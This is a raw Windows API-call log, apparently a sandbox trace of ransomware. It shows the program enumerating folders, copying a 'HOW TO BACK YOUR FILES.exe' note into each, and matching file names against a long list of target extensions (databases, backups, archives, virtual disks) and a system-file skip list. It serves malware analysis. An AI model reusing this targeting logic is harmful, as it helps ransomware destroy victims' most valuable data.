	[0035.711] lstrcmpiW (lpString1=".wmv", lpString2="rctd") returned -1
	[0035.711] lstrlenW (lpString="rod") returned 3
	[0035.711] lstrcmpiW (lpString1="wmv", lpString2="rod") returned 1
	[0035.711] lstrlenW (lpString="rodx") returned 4
	[0035.711] lstrcmpiW (lpString1=".wmv", lpString2="rodx") returned -1
	[0035.711] lstrlenW (lpString="rpd") returned 3
	[0035.711] lstrcmpiW (lpString1="wmv", lpString2="rpd") returned 1
	[0035.711] lstrlenW (lpString="rsd") returned 3
	[0035.711] lstrcmpiW (lpString1="wmv", lpString2="rsd") returned 1
	[0035.711] lstrlenW (lpString="sas7bdat") returned 8
	[0035.711] lstrcmpiW (lpString1="life.wmv", lpString2="sas7bdat") returned -1
	[0035.711] lstrlenW (lpString="sbf") returned 3
	[0035.711] lstrcmpiW (lpString1="wmv", lpString2="sbf") returned 1
	[0035.711] lstrlenW (lpString="scx") returned 3
	[0035.711] lstrcmpiW (lpString1="wmv", lpString2="scx") returned 1
	[0035.711] lstrlenW (lpString="sdb") returned 3
	[0035.711] lstrcmpiW (lpString1="wmv", lpString2="sdb") returned 1
	[0035.711] lstrlenW (lpString="sdc") returned 3
	[0035.711] lstrcmpiW (lpString1="wmv", lpString2="sdc") returned 1
	[0035.711] lstrlenW (lpString="sdf") returned 3
	[0035.712] lstrcmpiW (lpString1="wmv", lpString2="sdf") returned 1
	[0035.712] lstrlenW (lpString="sis") returned 3
	[0035.712] lstrcmpiW (lpString1="wmv", lpString2="sis") returned 1
	[0035.712] lstrlenW (lpString="spq") returned 3
	[0035.712] lstrcmpiW (lpString1="wmv", lpString2="spq") returned 1
	[0035.712] lstrlenW (lpString="te") returned 2
	[0035.712] lstrcmpiW (lpString1="mv", lpString2="te") returned -1
	[0035.712] lstrlenW (lpString="teacher") returned 7
	[0035.712] lstrcmpiW (lpString1="ife.wmv", lpString2="teacher") returned -1
	[0035.712] lstrlenW (lpString="tmd") returned 3
	[0035.712] lstrcmpiW (lpString1="wmv", lpString2="tmd") returned 1
	[0035.712] lstrlenW (lpString="tps") returned 3
	[0035.712] lstrcmpiW (lpString1="wmv", lpString2="tps") returned 1
	[0035.712] lstrlenW (lpString="trc") returned 3
	[0035.712] lstrcmpiW (lpString1="wmv", lpString2="trc") returned 1
	[0035.712] lstrlenW (lpString="trc") returned 3
	[0035.712] lstrcmpiW (lpString1="wmv", lpString2="trc") returned 1
	[0035.712] lstrlenW (lpString="trm") returned 3
	[0035.712] lstrcmpiW (lpString1="wmv", lpString2="trm") returned 1
	[0035.712] lstrlenW (lpString="udb") returned 3
	[0035.712] lstrcmpiW (lpString1="wmv", lpString2="udb") returned 1
	[0035.712] lstrlenW (lpString="udl") returned 3
	[0035.712] lstrcmpiW (lpString1="wmv", lpString2="udl") returned 1
	[0035.712] lstrlenW (lpString="usr") returned 3
	[0035.712] lstrcmpiW (lpString1="wmv", lpString2="usr") returned 1
	[0035.712] lstrlenW (lpString="v12") returned 3
	[0035.712] lstrcmpiW (lpString1="wmv", lpString2="v12") returned 1
	[0035.712] lstrlenW (lpString="vis") returned 3
	[0035.712] lstrcmpiW (lpString1="wmv", lpString2="vis") returned 1
	[0035.712] lstrlenW (lpString="vpd") returned 3
	[0035.712] lstrcmpiW (lpString1="wmv", lpString2="vpd") returned 1
	[0035.712] lstrlenW (lpString="vvv") returned 3
	[0035.712] lstrcmpiW (lpString1="wmv", lpString2="vvv") returned 1
	[0035.712] lstrlenW (lpString="wdb") returned 3
	[0035.712] lstrcmpiW (lpString1="wmv", lpString2="wdb") returned 1
	[0035.712] lstrlenW (lpString="wmdb") returned 4
	[0035.712] lstrcmpiW (lpString1=".wmv", lpString2="wmdb") returned -1
	[0035.712] lstrlenW (lpString="wrk") returned 3
	[0035.712] lstrcmpiW (lpString1="wmv", lpString2="wrk") returned -1
	[0035.712] lstrlenW (lpString="xdb") returned 3
	[0035.713] lstrcmpiW (lpString1="wmv", lpString2="xdb") returned -1
	[0035.713] lstrlenW (lpString="xld") returned 3
	[0035.713] lstrcmpiW (lpString1="wmv", lpString2="xld") returned -1
	[0035.713] lstrlenW (lpString="xmlff") returned 5
	[0035.713] lstrcmpiW (lpString1="e.wmv", lpString2="xmlff") returned -1
	[0035.713] FindNextFileW (in: hFindFile=0x5ca050, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80282235, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bda0516, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be12937, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x1907b8a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Wildlife.wmv", cAlternateFileName="")) returned 0
	[0035.713] FindClose (in: hFindFile=0x5ca050 | out: hFindFile=0x5ca050) returned 1
	[0035.713] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7b70
	[0035.713] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\Public\\Recorded TV", iMaxLength=260 | out: lpString1="C:\\Users\\Public\\Recorded TV") returned="C:\\Users\\Public\\Recorded TV"
	[0035.713] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ca250 | out: hHeap=0x580000) returned 1
	[0035.713] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b68 | out: hHeap=0x580000) returned 1
	[0035.713] lstrlenW (lpString="C:\\Users\\Public\\Recorded TV") returned 27
	[0035.713] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Public\\Recorded TV" | out: lpString1="C:\\Users\\Public\\Recorded TV") returned="C:\\Users\\Public\\Recorded TV"
	[0035.713] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0035.713] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Public\\Recorded TV\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\public\\recorded tv\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0035.721] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0035.721] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Recorded TV\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x2d95c050, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d95c050, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0035.721] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0035.721] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0035.721] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0035.721] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x2d95c050, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d95c050, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0035.721] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0035.721] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0035.721] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0035.721] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0035.721] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x89e5e11e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x89e5e11e, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x50, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0035.721] lstrcmpiW (lpString1="desktop.ini", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0035.721] lstrcmpiW (lpString1="desktop.ini", lpString2="Apollon865.txt.exe") returned 1
	[0035.721] lstrcmpiW (lpString1="desktop.ini", lpString2=".") returned 1
	[0035.721] lstrcmpiW (lpString1="desktop.ini", lpString2="..") returned 1
	[0035.721] lstrcmpiW (lpString1="desktop.ini", lpString2="windows") returned -1
	[0035.721] lstrcmpiW (lpString1="desktop.ini", lpString2="bootmgr") returned 1
	[0035.721] lstrcmpiW (lpString1="desktop.ini", lpString2="temp") returned -1
	[0035.721] lstrcmpiW (lpString1="desktop.ini", lpString2="pagefile.sys") returned -1
	[0035.722] lstrcmpiW (lpString1="desktop.ini", lpString2="boot") returned 1
	[0035.722] lstrcmpiW (lpString1="desktop.ini", lpString2="ids.txt") returned -1
	[0035.722] lstrcmpiW (lpString1="desktop.ini", lpString2="ntuser.dat") returned -1
	[0035.722] lstrcmpiW (lpString1="desktop.ini", lpString2="perflogs") returned -1
	[0035.722] lstrcmpiW (lpString1="desktop.ini", lpString2="MSBuild") returned -1
	[0035.722] lstrlenW (lpString="desktop.ini") returned 11
	[0035.722] lstrlenW (lpString="C:\\Users\\Public\\Recorded TV\\*") returned 29
	[0035.722] lstrcpyW (in: lpString1=0x2d3e588, lpString2="desktop.ini" | out: lpString1="desktop.ini") returned="desktop.ini"
	[0035.722] lstrlenW (lpString="desktop.ini") returned 11
	[0035.722] lstrlenW (lpString="Apollon865") returned 10
	[0035.722] lstrcmpiW (lpString1="esktop.ini", lpString2="Apollon865") returned 1
	[0035.722] lstrlenW (lpString=".dll") returned 4
	[0035.722] lstrcmpiW (lpString1="desktop.ini", lpString2=".dll") returned 1
	[0035.722] lstrlenW (lpString=".lnk") returned 4
	[0035.722] lstrcmpiW (lpString1="desktop.ini", lpString2=".lnk") returned 1
	[0035.722] lstrlenW (lpString=".ini") returned 4
	[0035.722] lstrcmpiW (lpString1="desktop.ini", lpString2=".ini") returned 1
	[0035.722] lstrlenW (lpString=".sys") returned 4
	[0035.722] lstrcmpiW (lpString1="desktop.ini", lpString2=".sys") returned 1
	[0035.722] lstrlenW (lpString="desktop.ini") returned 11
	[0035.722] lstrlenW (lpString="bak") returned 3
	[0035.722] lstrcmpiW (lpString1="ini", lpString2="bak") returned 1
	[0035.722] lstrlenW (lpString="ba_") returned 3
	[0035.722] lstrcmpiW (lpString1="ini", lpString2="ba_") returned 1
	[0035.722] lstrlenW (lpString="dbb") returned 3
	[0035.722] lstrcmpiW (lpString1="ini", lpString2="dbb") returned 1
	[0035.722] lstrlenW (lpString="vmdk") returned 4
	[0035.722] lstrcmpiW (lpString1=".ini", lpString2="vmdk") returned -1
	[0035.722] lstrlenW (lpString="rar") returned 3
	[0035.722] lstrcmpiW (lpString1="ini", lpString2="rar") returned -1
	[0035.722] lstrlenW (lpString="zip") returned 3
	[0035.722] lstrcmpiW (lpString1="ini", lpString2="zip") returned -1
	[0035.722] lstrlenW (lpString="tgz") returned 3
	[0035.722] lstrcmpiW (lpString1="ini", lpString2="tgz") returned -1
	[0035.722] lstrlenW (lpString="vbox") returned 4
	[0035.722] lstrcmpiW (lpString1=".ini", lpString2="vbox") returned -1
	[0035.722] lstrlenW (lpString="vdi") returned 3
	[0035.722] lstrcmpiW (lpString1="ini", lpString2="vdi") returned -1
	[0035.722] lstrlenW (lpString="vhd") returned 3
	[0035.723] lstrcmpiW (lpString1="ini", lpString2="vhd") returned -1
	[0035.723] lstrlenW (lpString="vhdx") returned 4
	[0035.723] lstrcmpiW (lpString1=".ini", lpString2="vhdx") returned -1
	[0035.723] lstrlenW (lpString="avhd") returned 4
	[0035.723] lstrcmpiW (lpString1=".ini", lpString2="avhd") returned -1
	[0035.723] lstrlenW (lpString="db") returned 2
	[0035.723] lstrcmpiW (lpString1="ni", lpString2="db") returned 1
	[0035.723] lstrlenW (lpString="db2") returned 3
	[0035.723] lstrcmpiW (lpString1="ini", lpString2="db2") returned 1
	[0035.723] lstrlenW (lpString="db3") returned 3
	[0035.723] lstrcmpiW (lpString1="ini", lpString2="db3") returned 1
	[0035.723] lstrlenW (lpString="dbf") returned 3
	[0035.723] lstrcmpiW (lpString1="ini", lpString2="dbf") returned 1
	[0035.723] lstrlenW (lpString="mdf") returned 3
	[0035.723] lstrcmpiW (lpString1="ini", lpString2="mdf") returned -1
	[0035.723] lstrlenW (lpString="mdb") returned 3
	[0035.723] lstrcmpiW (lpString1="ini", lpString2="mdb") returned -1
	[0035.723] lstrlenW (lpString="sql") returned 3
	[0035.723] lstrcmpiW (lpString1="ini", lpString2="sql") returned -1
	[0035.723] lstrlenW (lpString="sqlite") returned 6
	[0035.723] lstrcmpiW (lpString1="op.ini", lpString2="sqlite") returned -1
	[0035.723] lstrlenW (lpString="sqlite3") returned 7
	[0035.723] lstrcmpiW (lpString1="top.ini", lpString2="sqlite3") returned 1
	[0035.723] lstrlenW (lpString="sqlitedb") returned 8
	[0035.723] lstrcmpiW (lpString1="ktop.ini", lpString2="sqlitedb") returned -1
	[0035.723] lstrlenW (lpString="xml") returned 3
	[0035.723] lstrcmpiW (lpString1="ini", lpString2="xml") returned -1
	[0035.723] lstrlenW (lpString="$er") returned 3
	[0035.723] lstrcmpiW (lpString1="ini", lpString2="$er") returned 1
	[0035.723] lstrlenW (lpString="4dd") returned 3
	[0035.723] lstrcmpiW (lpString1="ini", lpString2="4dd") returned 1
	[0035.723] lstrlenW (lpString="4dl") returned 3
	[0035.723] lstrcmpiW (lpString1="ini", lpString2="4dl") returned 1
	[0035.723] lstrlenW (lpString="^^^") returned 3
	[0035.723] lstrcmpiW (lpString1="ini", lpString2="^^^") returned 1
	[0035.723] lstrlenW (lpString="abs") returned 3
	[0035.723] lstrcmpiW (lpString1="ini", lpString2="abs") returned 1
	[0035.723] lstrlenW (lpString="abx") returned 3
	[0035.723] lstrcmpiW (lpString1="ini", lpString2="abx") returned 1
	[0035.723] lstrlenW (lpString="accdb") returned 5
	[0035.724] lstrcmpiW (lpString1="p.ini", lpString2="accdb") returned 1
	[0035.724] lstrlenW (lpString="accdc") returned 5
	[0035.724] lstrcmpiW (lpString1="p.ini", lpString2="accdc") returned 1
	[0035.724] lstrlenW (lpString="accde") returned 5
	[0035.724] lstrcmpiW (lpString1="p.ini", lpString2="accde") returned 1
	[0035.724] lstrlenW (lpString="accdr") returned 5
	[0035.724] lstrcmpiW (lpString1="p.ini", lpString2="accdr") returned 1
	[0035.724] lstrlenW (lpString="accdt") returned 5
	[0035.724] lstrcmpiW (lpString1="p.ini", lpString2="accdt") returned 1
	[0035.724] lstrlenW (lpString="accdw") returned 5
	[0035.724] lstrcmpiW (lpString1="p.ini", lpString2="accdw") returned 1
	[0035.724] lstrlenW (lpString="accft") returned 5
	[0035.724] lstrcmpiW (lpString1="p.ini", lpString2="accft") returned 1
	[0035.724] lstrlenW (lpString="adb") returned 3
	[0035.724] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1
	[0035.724] lstrlenW (lpString="adb") returned 3
	[0035.724] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1
	[0035.724] lstrlenW (lpString="ade") returned 3
	[0035.724] lstrcmpiW (lpString1="ini", lpString2="ade") returned 1
	[0035.724] lstrlenW (lpString="adf") returned 3
	[0035.724] lstrcmpiW (lpString1="ini", lpString2="adf") returned 1
	[0035.724] lstrlenW (lpString="adn") returned 3
	[0035.724] lstrcmpiW (lpString1="ini", lpString2="adn") returned 1
	[0035.724] lstrlenW (lpString="adp") returned 3
	[0035.724] lstrcmpiW (lpString1="ini", lpString2="adp") returned 1
	[0035.724] lstrlenW (lpString="alf") returned 3
	[0035.724] lstrcmpiW (lpString1="ini", lpString2="alf") returned 1
	[0035.724] lstrlenW (lpString="ask") returned 3
	[0035.724] lstrcmpiW (lpString1="ini", lpString2="ask") returned 1
	[0035.724] lstrlenW (lpString="btr") returned 3
	[0035.724] lstrcmpiW (lpString1="ini", lpString2="btr") returned 1
	[0035.724] lstrlenW (lpString="cat") returned 3
	[0035.724] lstrcmpiW (lpString1="ini", lpString2="cat") returned 1
	[0035.724] lstrlenW (lpString="cdb") returned 3
	[0035.724] lstrcmpiW (lpString1="ini", lpString2="cdb") returned 1
	[0035.724] lstrlenW (lpString="ckp") returned 3
	[0035.724] lstrcmpiW (lpString1="ini", lpString2="ckp") returned 1
	[0035.724] lstrlenW (lpString="cma") returned 3
	[0035.724] lstrcmpiW (lpString1="ini", lpString2="cma") returned 1
	[0035.725] lstrlenW (lpString="cpd") returned 3
	[0035.725] lstrcmpiW (lpString1="ini", lpString2="cpd") returned 1
	[0035.725] lstrlenW (lpString="dacpac") returned 6
	[0035.725] lstrcmpiW (lpString1="op.ini", lpString2="dacpac") returned 1
	[0035.725] lstrlenW (lpString="dad") returned 3
	[0035.725] lstrcmpiW (lpString1="ini", lpString2="dad") returned 1
	[0035.725] lstrlenW (lpString="dadiagrams") returned 10
	[0035.725] lstrcmpiW (lpString1="esktop.ini", lpString2="dadiagrams") returned 1
	[0035.725] lstrlenW (lpString="daschema") returned 8
	[0035.725] lstrcmpiW (lpString1="ktop.ini", lpString2="daschema") returned 1
	[0035.725] lstrlenW (lpString="db-journal") returned 10
	[0035.725] lstrcmpiW (lpString1="esktop.ini", lpString2="db-journal") returned 1
	[0035.725] lstrlenW (lpString="db-shm") returned 6
	[0035.725] lstrcmpiW (lpString1="op.ini", lpString2="db-shm") returned 1
	[0035.725] lstrlenW (lpString="db-wal") returned 6
	[0035.725] lstrcmpiW (lpString1="op.ini", lpString2="db-wal") returned 1
	[0035.725] lstrlenW (lpString="dbc") returned 3
	[0035.725] lstrcmpiW (lpString1="ini", lpString2="dbc") returned 1
	[0035.725] lstrlenW (lpString="dbs") returned 3
	[0035.725] lstrcmpiW (lpString1="ini", lpString2="dbs") returned 1
	[0035.725] lstrlenW (lpString="dbt") returned 3
	[0035.725] lstrcmpiW (lpString1="ini", lpString2="dbt") returned 1
	[0035.725] lstrlenW (lpString="dbv") returned 3
	[0035.725] lstrcmpiW (lpString1="ini", lpString2="dbv") returned 1
	[0035.725] lstrlenW (lpString="dbx") returned 3
	[0035.725] lstrcmpiW (lpString1="ini", lpString2="dbx") returned 1
	[0035.725] lstrlenW (lpString="dcb") returned 3
	[0035.725] lstrcmpiW (lpString1="ini", lpString2="dcb") returned 1
	[0035.725] lstrlenW (lpString="dct") returned 3
	[0035.725] lstrcmpiW (lpString1="ini", lpString2="dct") returned 1
	[0035.725] lstrlenW (lpString="dcx") returned 3
	[0035.725] lstrcmpiW (lpString1="ini", lpString2="dcx") returned 1
	[0035.725] lstrlenW (lpString="ddl") returned 3
	[0035.725] lstrcmpiW (lpString1="ini", lpString2="ddl") returned 1
	[0035.725] lstrlenW (lpString="dlis") returned 4
	[0035.725] lstrcmpiW (lpString1=".ini", lpString2="dlis") returned -1
	[0035.725] lstrlenW (lpString="dp1") returned 3
	[0035.725] lstrcmpiW (lpString1="ini", lpString2="dp1") returned 1
	[0035.726] lstrlenW (lpString="dqy") returned 3
	[0035.726] lstrcmpiW (lpString1="ini", lpString2="dqy") returned 1
	[0035.726] lstrlenW (lpString="dsk") returned 3
	[0035.726] lstrcmpiW (lpString1="ini", lpString2="dsk") returned 1
	[0035.726] lstrlenW (lpString="dsn") returned 3
	[0035.726] lstrcmpiW (lpString1="ini", lpString2="dsn") returned 1
	[0035.726] lstrlenW (lpString="dtsx") returned 4
	[0035.726] lstrcmpiW (lpString1=".ini", lpString2="dtsx") returned -1
	[0035.726] lstrlenW (lpString="dxl") returned 3
	[0035.726] lstrcmpiW (lpString1="ini", lpString2="dxl") returned 1
	[0035.726] lstrlenW (lpString="eco") returned 3
	[0035.726] lstrcmpiW (lpString1="ini", lpString2="eco") returned 1
	[0035.726] lstrlenW (lpString="ecx") returned 3
	[0035.726] lstrcmpiW (lpString1="ini", lpString2="ecx") returned 1
	[0035.726] lstrlenW (lpString="edb") returned 3
	[0035.726] lstrcmpiW (lpString1="ini", lpString2="edb") returned 1
	[0035.726] lstrlenW (lpString="epim") returned 4
	[0035.726] lstrcmpiW (lpString1=".ini", lpString2="epim") returned -1
	[0035.726] lstrlenW (lpString="fcd") returned 3
	[0035.726] lstrcmpiW (lpString1="ini", lpString2="fcd") returned 1
	[0035.726] lstrlenW (lpString="fdb") returned 3
	[0035.726] lstrcmpiW (lpString1="ini", lpString2="fdb") returned 1
	[0035.726] lstrlenW (lpString="fic") returned 3
	[0035.726] lstrcmpiW (lpString1="ini", lpString2="fic") returned 1
	[0035.726] lstrlenW (lpString="flexolibrary") returned 12
	[0035.726] lstrlenW (lpString="fm5") returned 3
	[0035.726] lstrcmpiW (lpString1="ini", lpString2="fm5") returned 1
	[0035.726] lstrlenW (lpString="fmp") returned 3
	[0035.726] lstrcmpiW (lpString1="ini", lpString2="fmp") returned 1
	[0035.726] lstrlenW (lpString="fmp12") returned 5
	[0035.726] lstrcmpiW (lpString1="p.ini", lpString2="fmp12") returned 1
	[0035.726] lstrlenW (lpString="fmpsl") returned 5
	[0035.726] lstrcmpiW (lpString1="p.ini", lpString2="fmpsl") returned 1
	[0035.726] lstrlenW (lpString="fol") returned 3
	[0035.726] lstrcmpiW (lpString1="ini", lpString2="fol") returned 1
	[0035.726] lstrlenW (lpString="fp3") returned 3
	[0035.726] lstrcmpiW (lpString1="ini", lpString2="fp3") returned 1
	[0035.726] lstrlenW (lpString="fp4") returned 3
	[0035.726] lstrcmpiW (lpString1="ini", lpString2="fp4") returned 1
	[0035.727] lstrlenW (lpString="fp5") returned 3
	[0035.727] lstrcmpiW (lpString1="ini", lpString2="fp5") returned 1
	[0035.727] lstrlenW (lpString="fp7") returned 3
	[0035.727] lstrcmpiW (lpString1="ini", lpString2="fp7") returned 1
	[0035.727] lstrlenW (lpString="fpt") returned 3
	[0035.727] lstrcmpiW (lpString1="ini", lpString2="fpt") returned 1
	[0035.727] lstrlenW (lpString="frm") returned 3
	[0035.727] lstrcmpiW (lpString1="ini", lpString2="frm") returned 1
	[0035.727] lstrlenW (lpString="gdb") returned 3
	[0035.727] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1
	[0035.727] lstrlenW (lpString="gdb") returned 3
	[0035.727] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1
	[0035.727] lstrlenW (lpString="grdb") returned 4
	[0035.727] lstrcmpiW (lpString1=".ini", lpString2="grdb") returned -1
	[0035.727] lstrlenW (lpString="gwi") returned 3
	[0035.727] lstrcmpiW (lpString1="ini", lpString2="gwi") returned 1
	[0035.727] lstrlenW (lpString="hdb") returned 3
	[0035.727] lstrcmpiW (lpString1="ini", lpString2="hdb") returned 1
	[0035.727] lstrlenW (lpString="his") returned 3
	[0035.727] lstrcmpiW (lpString1="ini", lpString2="his") returned 1
	[0035.727] lstrlenW (lpString="ib") returned 2
	[0035.727] lstrcmpiW (lpString1="ni", lpString2="ib") returned 1
	[0035.727] lstrlenW (lpString="idb") returned 3
	[0035.727] lstrcmpiW (lpString1="ini", lpString2="idb") returned 1
	[0035.727] lstrlenW (lpString="ihx") returned 3
	[0035.727] lstrcmpiW (lpString1="ini", lpString2="ihx") returned 1
	[0035.727] lstrlenW (lpString="itdb") returned 4
	[0035.727] lstrcmpiW (lpString1=".ini", lpString2="itdb") returned -1
	[0035.727] lstrlenW (lpString="itw") returned 3
	[0035.727] lstrcmpiW (lpString1="ini", lpString2="itw") returned -1
	[0035.727] lstrlenW (lpString="jet") returned 3
	[0035.727] lstrcmpiW (lpString1="ini", lpString2="jet") returned -1
	[0035.727] lstrlenW (lpString="jtx") returned 3
	[0035.727] lstrcmpiW (lpString1="ini", lpString2="jtx") returned -1
	[0035.727] lstrlenW (lpString="kdb") returned 3
	[0035.727] lstrcmpiW (lpString1="ini", lpString2="kdb") returned -1
	[0035.727] lstrlenW (lpString="kexi") returned 4
	[0035.727] lstrcmpiW (lpString1=".ini", lpString2="kexi") returned -1
	[0035.727] lstrlenW (lpString="kexic") returned 5
	[0035.727] lstrcmpiW (lpString1="p.ini", lpString2="kexic") returned 1
	[0035.728] lstrlenW (lpString="kexis") returned 5
	[0035.728] lstrcmpiW (lpString1="p.ini", lpString2="kexis") returned 1
	[0035.728] lstrlenW (lpString="lgc") returned 3
	[0035.728] lstrcmpiW (lpString1="ini", lpString2="lgc") returned -1
	[0035.728] lstrlenW (lpString="lwx") returned 3
	[0035.728] lstrcmpiW (lpString1="ini", lpString2="lwx") returned -1
	[0035.728] lstrlenW (lpString="maf") returned 3
	[0035.728] lstrcmpiW (lpString1="ini", lpString2="maf") returned -1
	[0035.728] lstrlenW (lpString="maq") returned 3
	[0035.728] lstrcmpiW (lpString1="ini", lpString2="maq") returned -1
	[0035.728] lstrlenW (lpString="mar") returned 3
	[0035.728] lstrcmpiW (lpString1="ini", lpString2="mar") returned -1
	[0035.728] lstrlenW (lpString="marshal") returned 7
	[0035.728] lstrcmpiW (lpString1="top.ini", lpString2="marshal") returned 1
	[0035.728] lstrlenW (lpString="mas") returned 3
	[0035.728] lstrcmpiW (lpString1="ini", lpString2="mas") returned -1
	[0035.728] lstrlenW (lpString="mav") returned 3
	[0035.728] lstrcmpiW (lpString1="ini", lpString2="mav") returned -1
	[0035.728] lstrlenW (lpString="maw") returned 3
	[0035.728] lstrcmpiW (lpString1="ini", lpString2="maw") returned -1
	[0035.728] lstrlenW (lpString="mdbhtml") returned 7
	[0035.728] lstrcmpiW (lpString1="top.ini", lpString2="mdbhtml") returned 1
	[0035.728] lstrlenW (lpString="mdn") returned 3
	[0035.728] lstrcmpiW (lpString1="ini", lpString2="mdn") returned -1
	[0035.728] lstrlenW (lpString="mdt") returned 3
	[0035.728] lstrcmpiW (lpString1="ini", lpString2="mdt") returned -1
	[0035.728] lstrlenW (lpString="mfd") returned 3
	[0035.728] lstrcmpiW (lpString1="ini", lpString2="mfd") returned -1
	[0035.728] lstrlenW (lpString="mpd") returned 3
	[0035.728] lstrcmpiW (lpString1="ini", lpString2="mpd") returned -1
	[0035.728] lstrlenW (lpString="mrg") returned 3
	[0035.728] lstrcmpiW (lpString1="ini", lpString2="mrg") returned -1
	[0035.728] lstrlenW (lpString="mud") returned 3
	[0035.728] lstrcmpiW (lpString1="ini", lpString2="mud") returned -1
	[0035.728] lstrlenW (lpString="mwb") returned 3
	[0035.728] lstrcmpiW (lpString1="ini", lpString2="mwb") returned -1
	[0035.728] lstrlenW (lpString="myd") returned 3
	[0035.728] lstrcmpiW (lpString1="ini", lpString2="myd") returned -1
	[0035.729] lstrlenW (lpString="ndf") returned 3
	[0035.729] lstrcmpiW (lpString1="ini", lpString2="ndf") returned -1
	[0035.729] lstrlenW (lpString="nnt") returned 3
	[0035.729] lstrcmpiW (lpString1="ini", lpString2="nnt") returned -1
	[0035.729] lstrlenW (lpString="nrmlib") returned 6
	[0035.729] lstrcmpiW (lpString1="op.ini", lpString2="nrmlib") returned 1
	[0035.729] lstrlenW (lpString="ns2") returned 3
	[0035.729] lstrcmpiW (lpString1="ini", lpString2="ns2") returned -1
	[0035.729] lstrlenW (lpString="ns3") returned 3
	[0035.729] lstrcmpiW (lpString1="ini", lpString2="ns3") returned -1
	[0035.729] lstrlenW (lpString="ns4") returned 3
	[0035.729] lstrcmpiW (lpString1="ini", lpString2="ns4") returned -1
	[0035.729] lstrlenW (lpString="nsf") returned 3
	[0035.729] lstrcmpiW (lpString1="ini", lpString2="nsf") returned -1
	[0035.729] lstrlenW (lpString="nv") returned 2
	[0035.729] lstrcmpiW (lpString1="ni", lpString2="nv") returned -1
	[0035.729] lstrlenW (lpString="nv2") returned 3
	[0035.729] lstrcmpiW (lpString1="ini", lpString2="nv2") returned -1
	[0035.729] lstrlenW (lpString="nwdb") returned 4
	[0035.729] lstrcmpiW (lpString1=".ini", lpString2="nwdb") returned -1
	[0035.729] lstrlenW (lpString="nyf") returned 3
	[0035.729] lstrcmpiW (lpString1="ini", lpString2="nyf") returned -1
	[0035.729] lstrlenW (lpString="odb") returned 3
	[0035.729] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1
	[0035.729] lstrlenW (lpString="odb") returned 3
	[0035.729] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1
	[0035.729] lstrlenW (lpString="oqy") returned 3
	[0035.729] lstrcmpiW (lpString1="ini", lpString2="oqy") returned -1
	[0035.729] lstrlenW (lpString="ora") returned 3
	[0035.729] lstrcmpiW (lpString1="ini", lpString2="ora") returned -1
	[0035.729] lstrlenW (lpString="orx") returned 3
	[0035.729] lstrcmpiW (lpString1="ini", lpString2="orx") returned -1
	[0035.729] lstrlenW (lpString="owc") returned 3
